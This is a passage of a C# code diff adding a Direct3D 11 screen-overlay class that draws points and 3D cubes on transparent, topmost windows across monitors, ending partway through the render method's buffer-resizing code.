/// + /// All drawing operations are performed asynchronously on a background thread for performance. + /// The overlay automatically creates transparent windows that appear on top of everything else except the cursor, + /// making it suitable for drawing visual elements on any part of the screen. + /// + /// This implementation uses Direct3D 11. Points are rendered as quads. + /// + /// Monitor indices correspond to the indices in Screen.AllScreens[], use 0 for primary monitor. + /// + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASS + { + public uint style; + public WndProcDelegate lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszClassName; + } + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int x; + public int y; + } + [StructLayout(LayoutKind.Sequential)] + public struct SIZE + { + public int cx; + public int cy; + } + [StructLayout(LayoutKind.Sequential)] + public struct PixelData + { + public Color Color; + public int X; + public int Y; + public int MonitorIndex; + public PixelData(Color color, int x, int y, int monitorIndex) + { + Color = color; + X = x; + Y = y; + MonitorIndex = monitorIndex; + } + } + public delegate IntPtr WndProcDelegate(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + /// + /// For creating transparent DX overlays on the screen + /// + public class ScreenOverlay : IDisposable + { + private Dictionary _overlayWindows = new Dictionary(); + private Dictionary _devices = new Dictionary(); + private Dictionary _deviceContexts = new Dictionary(); + private Dictionary _swapChains = new Dictionary(); + private Dictionary _renderTargetViews = new Dictionary(); + private Dictionary _shaderResourceViews = new Dictionary(); + private Dictionary _renderTextures = new Dictionary(); + private Dictionary _needsUpdate = new Dictionary(); + private Dictionary _vertexShaders = new Dictionary(); + private Dictionary _pixelShaders = new Dictionary(); + private Dictionary _inputLayouts = new Dictionary(); + private Dictionary _vertexBuffers = new Dictionary(); + private Dictionary _vertex3DShaders = new Dictionary(); + private Dictionary _pixel3DShaders = new Dictionary(); + private Dictionary _input3DLayouts = new Dictionary(); + private Dictionary _matrixBuffers = new Dictionary(); + private Dictionary> _cubes = new Dictionary>(); + private WndProcDelegate _wndProcDelegate; + private bool _delegateInit = false; + private ConcurrentQueue _drawingQueue = new ConcurrentQueue(); + private ManualResetEvent _drawingSignal = new ManualResetEvent(false); + private bool _drawingThreadRunning = false; + private Thread _drawingThread; + private const int MAX_UPDATE_RATE_MS = 16; + private const string VertexShaderCode = @" + struct VS_INPUT + { + float2 pos : POSITION; + float4 color : COLOR; + float size : SIZE; + uint vertexID : SV_VertexID; + }; + struct VS_OUTPUT + { + float4 pos : SV_POSITION; + float4 color : COLOR; + }; + VS_OUTPUT main(VS_INPUT input) + { + VS_OUTPUT output; + float size = input.size * 0.5f; + float2 offset = float2(0, 0); + if (input.vertexID % 4 == 0) offset = float2(-size, -size); + else if (input.vertexID % 4 == 1) offset = float2(size, -size); + else if (input.vertexID % 4 == 2) offset = float2(-size, size); + else if (input.vertexID % 4 == 3) offset = float2(size, size); + output.pos = float4(input.pos + offset, 0.0f, 1.0f); + output.color = input.color; + return output; + }"; + private const string PixelShaderCode = @" + struct PS_INPUT + { + float4 pos : SV_POSITION; + float4 color : COLOR; + }; + float4 main(PS_INPUT input) : SV_TARGET + { + return input.color; + }"; + private const string Vertex3DShaderCode = @" +cbuffer MatrixBuffer : register(b0) +{ + matrix worldMatrix; + matrix viewMatrix; + matrix projectionMatrix; +}; +struct VS_INPUT +{ + float3 position : POSITION; + float4 color : COLOR; +}; +struct VS_OUTPUT +{ + float4 position : SV_POSITION; + float4 color : COLOR; +}; +VS_OUTPUT main(VS_INPUT input) +{ + VS_OUTPUT output; + float4 pos = float4(input.position, 1.0f); + pos = mul(pos, worldMatrix); + pos = mul(pos, viewMatrix); + pos = mul(pos, projectionMatrix); + output.position = pos; + output.color = input.color; + return output; +}"; + private const string Pixel3DShaderCode = @" +struct PS_INPUT +{ + float4 position : SV_POSITION; + float4 color : COLOR; +}; +float4 main(PS_INPUT input) : SV_TARGET +{ + return input.color; +}"; + [StructLayout(LayoutKind.Sequential)] + private struct VertexPositionColor + { + public Vector2 Position; + public Color4 Color; + public float Size; + public VertexPositionColor(Vector2 position, Color4 color, float size) + { + Position = position; + Color = color; + Size = size; + } + public static int SizeInBytes => Marshal.SizeOf(); + } + [StructLayout(LayoutKind.Sequential)] + private struct VertexPosition3DColor + { + public Vector3 Position; + public Color4 Color; + public VertexPosition3DColor(Vector3 position, Color4 color) + { + Position = position; + Color = color; + } + public static int SizeInBytes => Marshal.SizeOf(); + } + private class MonitorDrawingData + { + public List Points { get; private set; } = new List(); + public int[] Indices { get; private set; } = new int[0]; + public int PointCount => Points.Count; + private int _bufferCapacity; + private readonly int _initialCapacity; + public MonitorDrawingData(int initialCapacity = 1000) + { + _initialCapacity = initialCapacity; + _bufferCapacity = initialCapacity; + Indices = new int[initialCapacity * 6]; + } + public void AddPoint(VertexPositionColor point) + { + Points.Add(point); + if (Points.Count > _bufferCapacity) + { + _bufferCapacity = Points.Count * 2; + Debug.WriteLine($"Growing buffer capacity to {_bufferCapacity} points"); + } + RebuildIndices(); + } + public void Clear() + { + Points.Clear(); + _bufferCapacity = _initialCapacity; + } + public void RebuildIndices() + { + int pointCount = Points.Count; + if (Indices.Length < pointCount * 6) + { + Indices = new int[pointCount * 6]; + } + for (int i = 0; i < pointCount; i++) + { + int baseIndex = i * 4; + int indexOffset = i * 6; + Indices[indexOffset] = baseIndex; + Indices[indexOffset + 1] = baseIndex + 1; + Indices[indexOffset + 2] = baseIndex + 2; + Indices[indexOffset + 3] = baseIndex + 1; + Indices[indexOffset + 4] = baseIndex + 3; + Indices[indexOffset + 5] = baseIndex + 2; + } + } + public int GetUsedIndexCount() => Math.Min(Points.Count * 6, Indices.Length); + } + private Dictionary _drawingData = new Dictionary(); + private Dictionary _indexBuffers = new Dictionary(); + private Dictionary _bufferSizes = new Dictionary(); + private const int INITIAL_BUFFER_SIZE = 1000; + private Vector3 _cameraPosition = new Vector3(0, 0, -5); + private Vector3 _cameraTarget = new Vector3(0, 0, 0); + private Vector3 _cameraUp = new Vector3(0, 1, 0); + private float _fieldOfView = (float)Math.PI / 4.0f; + private float _aspectRatio = 1.0f; + private float _nearPlane = 0.1f; + private float _farPlane = 1000.0f; + private Dictionary> _customShaders = new Dictionary>(); + private Dictionary> _customRenderables = new Dictionary>(); + /// + /// Creates a new ScreenOverlay instance + /// + public ScreenOverlay() + { + drawThreadRunning(); + } + /// + /// Checks if drawing thread is running + /// + private void drawThreadRunning() + { + if (!_drawingThreadRunning) + { + lock (_drawingQueue) + { + if (!_drawingThreadRunning) + { + _drawingThreadRunning = true; + _drawingThread = new Thread(DrawingThreadProc); + _drawingThread.IsBackground = true; + _drawingThread.Start(); + } + } + } + } + /// + /// Thread proc for handling drawing operations asynchronously + /// + private void DrawingThreadProc() + { + try + { + Stopwatch updateTimer = new Stopwatch(); + updateTimer.Start(); + while (_drawingThreadRunning) + { + try + { + _drawingSignal.WaitOne(5); + + bool didWork = false; + int maxOperationsPerBatch = 20; + int processedOps = 0; + + while (processedOps < maxOperationsPerBatch && _drawingQueue.TryDequeue(out Action drawAction)) + { + try + { + drawAction(); + didWork = true; + processedOps++; + } + catch (Exception) + { + + } + } + long elapsedMs = updateTimer.ElapsedMilliseconds; + if (elapsedMs >= MAX_UPDATE_RATE_MS) + { + updateTimer.Restart(); + UpdateActiveOverlays(); + } + if (!didWork) + { + Thread.Sleep(1); + } + + if (_drawingQueue.IsEmpty) + { + _drawingSignal.Reset(); + } + } + catch (Exception) + { + Thread.Sleep(100); + } + } + } + catch (Exception) + { + _drawingThreadRunning = false; + } + } + /// + /// Queues a drawing operation to be async executed + /// + public void QueueDrawingAction(Action drawAction) + { + if (drawAction == null) + return; + drawThreadRunning(); + _drawingQueue.Enqueue(drawAction); + _drawingSignal.Set(); + } + /// + /// Draws a point on a monitor. The strokeWidth parameter controls the size of the point. + /// + /// Previous X coordinate (ignored in Direct3D implementation which only x,y are used) + /// Previous Y coordinate (ignored in Direct3D implementation which only x,y are used) + /// X coordinate to draw at + /// Y coordinate to draw at + /// Width/size of the point + /// ARGB color value + /// Monitor index to draw on + public void Draw(int prevX, int prevY, int x, int y, int strokeWidth, int colorArgb, int monitorIndex) + { + QueueDrawingAction(() => DrawPoint(monitorIndex, x, y, colorArgb, strokeWidth)); + } + /// + /// Erases at the specified coordinates on a monitor by removing any points in the radius determined by strokeWidth + /// + /// Previous X coordinate (ignored in Direct3D implementation which only x,y are used) + /// Previous Y coordinate (ignored in Direct3D implementation which only x,y are used) + /// X coordinate to erase at + /// Y coordinate to erase at + /// Width of the eraser (radius) + /// Monitor index to erase on + public void DrawEraser(int prevX, int prevY, int x, int y, int strokeWidth, int monitorIndex) + { + QueueDrawingAction(() => Erase(monitorIndex, x, y, strokeWidth)); + } + /// + /// Draws a point on the screen at the specified coordinates + /// + private void DrawPoint(int monitorIndex, int x, int y, int colorArgb, float strokeWidth) + { + try + { + Rectangle bounds; + try + { + bounds = Screen.AllScreens[monitorIndex].Bounds; + } + catch (IndexOutOfRangeException) + { + return; + } + ShowDrawingOverlay(monitorIndex, bounds); + if (x < 0 || y < 0 || x >= bounds.Width || y >= bounds.Height) + { + return; + } + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + Color argbColor = Color.FromArgb(colorArgb); + var color4 = new Color4(argbColor.R / 255.0f, argbColor.G / 255.0f, argbColor.B / 255.0f, argbColor.A / 255.0f); + float scaledWidth = (strokeWidth / (float)bounds.Width) * 2.0f; + float pointSize = Math.Max(0.01f, scaledWidth * 5.0f); + var vertex = new VertexPositionColor( + new Vector2(ndcX, ndcY), + color4, + pointSize + ); + if (!_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + data = new MonitorDrawingData(INITIAL_BUFFER_SIZE); + _drawingData[monitorIndex] = data; + } + data.AddPoint(vertex); + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"DrawPoint error: {ex.Message}"); + } + } + /// + /// Erases at the specified coordinates + /// + private void Erase(int monitorIndex, int x, int y, float strokeWidth) + { + try + { + Rectangle bounds; + try + { + bounds = Screen.AllScreens[monitorIndex].Bounds; + } + catch (IndexOutOfRangeException) + { + return; + } + bool shouldUpdate = false; + bool isRemovingLastPoint = false; + if (_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + shouldUpdate = true; + if (data.Points.Count > 0) + { + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + float eraseRadiusX = (strokeWidth / (float)bounds.Width) * 2.0f * 1.5f; + float eraseRadiusY = (strokeWidth / (float)bounds.Height) * 2.0f * 1.5f; + List remainingPoints = new List(data.Points.Count); + float radiusSquared = eraseRadiusX * eraseRadiusX; + for (int i = 0; i < data.Points.Count; i++) + { + var point = data.Points[i]; + float dx = point.Position.X - ndcX; + float dy = point.Position.Y - ndcY; + float distanceSquared = dx * dx + dy * dy; + float pointRadius = point.Size / (float)Math.Max(bounds.Width, bounds.Height); + if (distanceSquared > radiusSquared + pointRadius * pointRadius) + { + remainingPoints.Add(point); + } + } + if (remainingPoints.Count == 0 && data.Points.Count > 0) + { + isRemovingLastPoint = true; + } + if (remainingPoints.Count < data.Points.Count) + { + data.Points.Clear(); + data.Points.AddRange(remainingPoints); + data.RebuildIndices(); + } + } + } + if (shouldUpdate) + { + _needsUpdate[monitorIndex] = true; + if (isRemovingLastPoint) + { + ForceImmediateUpdate(monitorIndex); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Erase error: {ex.Message}"); + } + } + private void ForceImmediateUpdate(int monitorIndex) + { + try + { + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) && + _renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView) && + _swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + context.OutputMerger.SetRenderTargets(renderTargetView); + swapChain.Present(0, PresentFlags.None); + } + } + catch (Exception ex) + { + Debug.WriteLine($"ForceImmediateUpdate error: {ex.Message}"); + } + } + /// + /// Clears all drawings on a monitor + /// + public void ClearDrawings(int monitorIndex) + { + QueueDrawingAction(() => + { + try + { + if (_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + data.Clear(); + _needsUpdate[monitorIndex] = true; + } + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) && + _renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView)) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + if (_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + swapChain.Present(0, PresentFlags.None); + } + } + RenderOverlay(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"ClearDrawings error: {ex.Message}"); + } + }); + } + /// + /// Creates the overlay window and DirectX resources + /// + private void ShowDrawingOverlay(int monitorIndex, Rectangle bounds) + { + if (_overlayWindows.TryGetValue(monitorIndex, out IntPtr hwnd) && hwnd != IntPtr.Zero) + { + return; + } + if (!_delegateInit) + { + _wndProcDelegate = DXOverlayWndProc; + _delegateInit = true; + } + string className = $"{monitorIndex}"; + WNDCLASS wndClass = new WNDCLASS(); + wndClass.lpfnWndProc = _wndProcDelegate; + wndClass.hInstance = NativeMethods.GetModuleHandle(null); + wndClass.lpszClassName = className; + wndClass.hbrBackground = IntPtr.Zero; + try + { + NativeMethods.RegisterClass(ref wndClass); + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterClass error: {ex.Message}"); + } + hwnd = NativeMethods.CreateWindowEx( + NativeMethods.WS_EX_LAYERED | NativeMethods.WS_EX_TOOLWINDOW | NativeMethods.WS_EX_TRANSPARENT, + className, + "", + NativeMethods.WS_POPUP, + bounds.X, bounds.Y, bounds.Width, bounds.Height, + IntPtr.Zero, IntPtr.Zero, NativeMethods.GetModuleHandle(null), IntPtr.Zero); + if (hwnd == IntPtr.Zero) + { + Debug.WriteLine("Failed to create overlay window"); + return; + } + _overlayWindows[monitorIndex] = hwnd; + NativeMethods.SetLayeredWindowAttributes(hwnd, 0, 255, NativeMethods.LWA_COLORKEY | NativeMethods.LWA_ALPHA); + NativeMethods.ShowWindow(hwnd, NativeMethods.SW_SHOWNA); + NativeMethods.SetWindowPos( + hwnd, + NativeMethods.HWND_TOPMOST, + 0, 0, 0, 0, + NativeMethods.SWP_NOMOVE | NativeMethods.SWP_NOSIZE | NativeMethods.SWP_NOACTIVATE + ); + CreateDXResources(monitorIndex, hwnd, bounds); + } + /// + /// Create DirectX resources for a specific monitor overlay including swap chain, buffers, and shaders + /// + private void CreateDXResources(int monitorIndex, IntPtr windowHandle, Rectangle bounds) + { + try + { + var swapChainDesc = new SwapChainDescription + { + BufferCount = 2, + Usage = Usage.RenderTargetOutput, + OutputHandle = windowHandle, + IsWindowed = true, + ModeDescription = new ModeDescription( + bounds.Width, + bounds.Height, + new Rational(60, 1), + Format.B8G8R8A8_UNorm + ), + SampleDescription = new SampleDescription(1, 0), + Flags = SwapChainFlags.AllowModeSwitch, + SwapEffect = SwapEffect.Discard + }; + Device device; + SwapChain swapChain; + try + { + Device.CreateWithSwapChain( + DriverType.Hardware, + DeviceCreationFlags.BgraSupport, + swapChainDesc, + out device, + out swapChain + ); + } + catch (Exception ex) + { + Debug.WriteLine($"failed to create device & swap chain: {ex.Message}"); + return; + } + _devices[monitorIndex] = device; + _swapChains[monitorIndex] = swapChain; + var context = device.ImmediateContext; + _deviceContexts[monitorIndex] = context; + try + { + using (var backBuffer = swapChain.GetBackBuffer(0)) + { + var renderTargetView = new RenderTargetView(device, backBuffer); + _renderTargetViews[monitorIndex] = renderTargetView; + } + } + catch (Exception ex) + { + Debug.WriteLine($"failed to create render target view: {ex.Message}"); + return; + } + context.Rasterizer.SetViewport(0, 0, bounds.Width, bounds.Height); + try + { + var blendStateDesc = new BlendStateDescription(); + blendStateDesc.AlphaToCoverageEnable = false; + blendStateDesc.IndependentBlendEnable = false; + for (int i = 0; i < 8; i++) + { + blendStateDesc.RenderTarget[i].IsBlendEnabled = true; + blendStateDesc.RenderTarget[i].SourceBlend = BlendOption.SourceAlpha; + blendStateDesc.RenderTarget[i].DestinationBlend = BlendOption.InverseSourceAlpha; + blendStateDesc.RenderTarget[i].BlendOperation = BlendOperation.Add; + blendStateDesc.RenderTarget[i].SourceAlphaBlend = BlendOption.One; + blendStateDesc.RenderTarget[i].DestinationAlphaBlend = BlendOption.Zero; + blendStateDesc.RenderTarget[i].AlphaBlendOperation = BlendOperation.Add; + blendStateDesc.RenderTarget[i].RenderTargetWriteMask = ColorWriteMaskFlags.All; + } + var blendState = new BlendState(device, blendStateDesc); + context.OutputMerger.SetBlendState(blendState); + } + catch (Exception ex) + { + Debug.WriteLine($"failed to set blend state: {ex.Message}"); + } + if (!CompileShaders(device, monitorIndex)) + { + return; + } + try + { + var vertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPositionColor.SizeInBytes * INITIAL_BUFFER_SIZE * 4, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var vertexBuffer = new Buffer(device, vertexBufferDesc); + _vertexBuffers[monitorIndex] = vertexBuffer; + var indexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * INITIAL_BUFFER_SIZE * 6, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var indexBuffer = new Buffer(device, indexBufferDesc); + _indexBuffers[monitorIndex] = indexBuffer; + _bufferSizes[monitorIndex] = INITIAL_BUFFER_SIZE; + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to create buffers: {ex.Message}"); + return; + } + _drawingData[monitorIndex] = new MonitorDrawingData(INITIAL_BUFFER_SIZE); + _needsUpdate[monitorIndex] = true; + try + { + var rasterizerDesc = new RasterizerStateDescription + { + CullMode = CullMode.None, + FillMode = FillMode.Solid, + IsAntialiasedLineEnabled = true, + IsMultisampleEnabled = true, + IsFrontCounterClockwise = false, + IsScissorEnabled = false, + IsDepthClipEnabled = false + }; + var rasterState = new RasterizerState(device, rasterizerDesc); + context.Rasterizer.State = rasterState; + } + catch (Exception ex) + { + Debug.WriteLine($"failed to set rasterizer state: {ex.Message}"); + } + Setup3DResources(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"CreateDXResources error: {ex.Message}"); + } + } + /// + /// Sets up the 3D resources for the overlay + /// + private void Setup3DResources(int monitorIndex) + { + if (!_devices.TryGetValue(monitorIndex, out Device device)) + { + Debug.WriteLine($"No device available for monitor {monitorIndex}"); + return; + } + var depthDesc = new Texture2DDescription + { + Width = Screen.AllScreens[monitorIndex].Bounds.Width, + Height = Screen.AllScreens[monitorIndex].Bounds.Height, + MipLevels = 1, + ArraySize = 1, + Format = Format.D24_UNorm_S8_UInt, + SampleDescription = new SampleDescription(1, 0), + Usage = ResourceUsage.Default, + BindFlags = BindFlags.DepthStencil, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + var depthTexture = new Texture2D(device, depthDesc); + var depthStencilView = new DepthStencilView(device, depthTexture); + _deviceContexts[monitorIndex].OutputMerger.SetDepthStencilState( + new DepthStencilState(device, new DepthStencilStateDescription + { + IsDepthEnabled = true, + DepthWriteMask = DepthWriteMask.All, + DepthComparison = Comparison.Less, + IsStencilEnabled = false + }) + ); + _deviceContexts[monitorIndex].OutputMerger.SetRenderTargets(depthStencilView, _renderTargetViews[monitorIndex]); + _aspectRatio = (float)Screen.AllScreens[monitorIndex].Bounds.Width / Screen.AllScreens[monitorIndex].Bounds.Height; + if (!_vertex3DShaders.ContainsKey(monitorIndex)) + { + try + { + using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + Vertex3DShaderCode, + "main", + "vs_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + _vertex3DShaders[monitorIndex] = new VertexShader(device, vertexShaderBytecode); + var inputElements = new[] + { + new InputElement("POSITION", 0, Format.R32G32B32_Float, 0, 0), + new InputElement("COLOR", 0, Format.R32G32B32A32_Float, 12, 0) + }; + _input3DLayouts[monitorIndex] = new InputLayout(device, vertexShaderBytecode, inputElements); + } + using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + Pixel3DShaderCode, + "main", + "ps_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + _pixel3DShaders[monitorIndex] = new PixelShader(device, pixelShaderBytecode); + } + var matrixBufferDesc = new BufferDescription + { + Usage = ResourceUsage.Dynamic, + SizeInBytes = SharpDX.Utilities.SizeOf() * 3, + BindFlags = BindFlags.ConstantBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None, + StructureByteStride = 0 + }; + _matrixBuffers[monitorIndex] = new Buffer(device, matrixBufferDesc); + _cubes[monitorIndex] = new Dictionary(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error setting up 3D resources: {ex.Message}"); + } + } + } + /// + /// Creates a cube mesh with the specified colors for each face + /// + private void CreateCubeMesh(Device device, Cube3DData cube) + { + VertexPosition3DColor[] vertices = new VertexPosition3DColor[24]; + float halfSize = 0.5f; + vertices[0] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.FrontColor); + vertices[1] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.FrontColor); + vertices[2] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.FrontColor); + vertices[3] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.FrontColor); + vertices[4] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.BackColor); + vertices[5] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.BackColor); + vertices[6] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.BackColor); + vertices[7] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.BackColor); + vertices[8] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.TopColor); + vertices[9] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.TopColor); + vertices[10] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.TopColor); + vertices[11] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.TopColor); + vertices[12] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.BottomColor); + vertices[13] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.BottomColor); + vertices[14] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.BottomColor); + vertices[15] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.BottomColor); + vertices[16] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.LeftColor); + vertices[17] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.LeftColor); + vertices[18] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.LeftColor); + vertices[19] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.LeftColor); + vertices[20] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.RightColor); + vertices[21] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.RightColor); + vertices[22] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.RightColor); + vertices[23] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.RightColor); + var vertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPosition3DColor.SizeInBytes * vertices.Length, + Usage = ResourceUsage.Default, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + cube.VertexBuffer = Buffer.Create(device, vertices, vertexBufferDesc); + cube.VertexCount = vertices.Length; + int[] indices = new int[36]; + indices[0] = 0; indices[1] = 1; indices[2] = 2; + indices[3] = 0; indices[4] = 2; indices[5] = 3; + indices[6] = 4; indices[7] = 5; indices[8] = 6; + indices[9] = 4; indices[10] = 6; indices[11] = 7; + indices[12] = 8; indices[13] = 9; indices[14] = 10; + indices[15] = 8; indices[16] = 10; indices[17] = 11; + indices[18] = 12; indices[19] = 13; indices[20] = 14; + indices[21] = 12; indices[22] = 14; indices[23] = 15; + indices[24] = 16; indices[25] = 17; indices[26] = 18; + indices[27] = 16; indices[28] = 18; indices[29] = 19; + indices[30] = 20; indices[31] = 21; indices[32] = 22; + indices[33] = 20; indices[34] = 22; indices[35] = 23; + var indexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * indices.Length, + Usage = ResourceUsage.Default, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + cube.IndexBuffer = Buffer.Create(device, indices, indexBufferDesc); + cube.IndexCount = indices.Length; + } + /// + /// Compile vertex and pixel shaders at runtime + /// + private bool CompileShaders(Device device, int monitorIndex) + { + try + { + using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + VertexShaderCode, + "main", + "vs_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + var vertexShader = new VertexShader(device, vertexShaderBytecode); + _vertexShaders[monitorIndex] = vertexShader; + var inputElements = new[] + { + new InputElement("POSITION", 0, Format.R32G32_Float, 0, 0), + new InputElement("COLOR", 0, Format.R32G32B32A32_Float, 8, 0), + new InputElement("SIZE", 0, Format.R32_Float, 24, 0) + }; + var inputLayout = new InputLayout(device, vertexShaderBytecode, inputElements); + _inputLayouts[monitorIndex] = inputLayout; + } + using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + PixelShaderCode, + "main", + "ps_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + var pixelShader = new PixelShader(device, pixelShaderBytecode); + _pixelShaders[monitorIndex] = pixelShader; + } + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"CompileShaders error: {ex.Message}"); + return false; + } + } + /// + /// Update all active overlays + /// + private void UpdateActiveOverlays() + { + UpdateAnimatedCubes(); + HashSet monitorsToUpdate = new HashSet(); + foreach (var kvp in _needsUpdate) + { + if (kvp.Value) + { + monitorsToUpdate.Add(kvp.Key); + } + } + foreach (var monitorIndex in monitorsToUpdate) + { + try + { + RenderOverlay(monitorIndex); + _needsUpdate[monitorIndex] = false; + } + catch (Exception ex) + { + Debug.WriteLine($"UpdateActiveOverlays error: {ex.Message}"); + } + } + } + /// + /// Renders the overlay for a monitor + /// + private void RenderOverlay(int monitorIndex) + { + try + { + if (!_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) || + !_renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView) || + !_vertexShaders.TryGetValue(monitorIndex, out VertexShader vertexShader) || + !_pixelShaders.TryGetValue(monitorIndex, out PixelShader pixelShader) || + !_inputLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout) || + !_vertexBuffers.TryGetValue(monitorIndex, out Buffer vertexBuffer) || + !_indexBuffers.TryGetValue(monitorIndex, out Buffer indexBuffer) || + !_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain) || + !_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData drawingData)) + { + Debug.WriteLine($"Missing DirectX resources for monitor {monitorIndex}"); + return; + } + if (drawingData.Points.Count == 0) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + bool hasContent = false; + if (_cubes.TryGetValue(monitorIndex, out Dictionary cubes) && cubes.Count > 0) + { + Render3DCubes(monitorIndex, context, cubes.Values.ToList()); + hasContent = true; + } + if (_customRenderables.TryGetValue(monitorIndex, out Dictionary renderables) && renderables.Count > 0) + { + RenderCustomRenderables(monitorIndex, context, renderables.Values.ToList()); + hasContent = true; + } + if (hasContent) + { + swapChain.Present(1, PresentFlags.DoNotWait); + } + return; + } + int pointCount = drawingData.Points.Count; + int vertexCount = pointCount * 4; + int usedIndices = pointCount * 6; + if (!_bufferSizes.TryGetValue(monitorIndex, out int currentBufferSize) || + vertexCount > currentBufferSize * 4) + { + int newBufferSize = Math.Max(pointCount * 2, INITIAL_BUFFER_SIZE); + try + { + Debug.WriteLine($"resizing buffers for monitor {monitorIndex}: " + + $"points={pointCount}, new capacity={newBufferSize}"); + var newVertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPositionColor.SizeInBytes * newBufferSize * 4, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var newVertexBuffer = new Buffer(context.Device, newVertexBufferDesc); + var newIndexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * newBufferSize * 6, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var newIndexBuffer = new Buffer(context.Device, newIndexBufferDesc); + vertexBuffer.Dispose(); + indexBuffer.Dispose(); + _vertexBuffers[monitorIndex] = newVertexBuffer; + _indexBuffers[monitorIndex] = newIndexBuffer; 